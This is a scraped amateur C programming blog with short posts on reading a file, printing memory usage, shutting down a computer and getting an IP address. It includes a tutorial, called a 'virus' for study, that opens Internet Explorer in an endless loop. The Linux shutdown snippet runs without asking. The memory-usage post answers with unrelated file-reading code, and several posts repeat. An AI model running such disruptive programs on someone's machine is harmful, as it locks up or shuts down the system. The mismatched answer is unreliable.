#include <stdio.h>
#include <string.h>
#define SIZE 30
int main()
{
char name[ SIZE ];
FILE *fpPtr;
if ( ( fpPtr = fopen( "sorted_file.txt", "r" ) ) == NULL ) {
printf( "File could not be opened\n" );
}
else {
printf( "%s\n", "Name" );
fscanf( fpPtr, "%s", name );
while( !feof( fpPtr ) ) {
printf( "%s\n", name );
fscanf( fpPtr, "%s", name );
}
fclose( fpPtr );
}
return 0;
};
C LANGUAGE PROGRAMMING : STAIRS OF "SUCCESS"
Hay friends .. AREA OF LANGUAGE IS TOO WIDE BUT NOW APPROXIMATE THEORY AND "C PROGRAMING CODES" ARE AVAILABLE . GOPAL KRISHNA "CHAUHAN"
Monday, 17 June 2013
;)
Sunday, 3 March 2013
How to print the memory usage : C Programming by "Gopal Krishna"
You want to find out how much memory is this program using .
Any code or function
i should add to find the total memory used by this program.
I don't want to check task manager for this.
I need to print the memory usage.
#include <stdio.h>
#include <string.h>
#define SIZE 30
int main()
{
char name[ SIZE ];
FILE *fpPtr;
if ( ( fpPtr = fopen( "sorted_file.txt", "r" ) ) == NULL ) {
printf( "File could not be opened\n" );
}
else {
printf( "%s\n", "Name" );
fscanf( fpPtr, "%s", name );
while( !feof( fpPtr ) ) {
printf( "%s\n", name );
fscanf( fpPtr, "%s", name );
}
fclose( fpPtr );
}
return 0;
};
Try This ..........................
C Programming By GOPAL KRISHNA
Saturday, 23 February 2013
Creation of viruses V I A C Programming .
THIS TUT. ONLY FOR STUDY PURPOSE
I SAY BEFORE , A STYLE OF TRICK ,
HOW TO SHUT DOWN THE SYSTEM IN LAST PROGRAM ....
NOW :
C program such that when we will click on its .exe file then it will open internet explorer at infinite times?
Step 1 : write code :
#include<stdio.h>
#include<dos.h>
int main (void){
for(; ;){
system("c:\\progra~1\\intern~1\\iexplore.exe");
}
return 0;
}
Step 2: Save the above file. Let file name is internet.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the internet.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (internet.exe)
This is the creation of simple virus ... which is simpal and kool WAIT FOR MORE ......
(C by Gopal Krishna)
NOW :
C program such that when we will click on its .exe file then it will open internet explorer at infinite times?
Step 1 : write code :
#include<stdio.h>
#include<dos.h>
int main (void){
for(; ;){
system("c:\\progra~1\\intern~1\\iexplore.exe");
}
return 0;
}
Step 2: Save the above file. Let file name is internet.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the internet.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (internet.exe)
This is the creation of simple virus ... which is simpal and kool WAIT FOR MORE ......
(C by Gopal Krishna)
Friday, 21 September 2012
C programming code for Ubuntu Linux
#include <stdio.h> int main() { system("shutdown -P now"); return 0; }
C programming code for Windows 7
#include <stdio.h> #include <stdlib.h> main() { char ch; printf("Do you want to shutdown your computer now (y/n)\n"); scanf("%c",&ch); if (ch == 'y' || ch == 'Y') system("C:\\WINDOWS\\System32\\shutdown /s"); return 0; }
C program to shutdown or turn off computer
If you are using Turbo C Compiler then execute
your file from folder. Press F9 to build your executable file from
source program. When you run from within the compiler by pressing
Ctrl+F9 it may not work.
C programming code for Windows XP
#include <stdio.h> #include <stdlib.h> main() { char ch; printf("Do you want to shutdown your computer now (y/n)\n"); scanf("%c",&ch); if (ch == 'y' || ch == 'Y') system("C:\\WINDOWS\\System32\\shutdown -s"); return 0; }
c program to get ip address
C programming code
#include<stdlib.h> main() { system("C:\\Windows\\System32\\ipconfig"); system("pause"); return 0; }
Subscribe to:
Posts (Atom)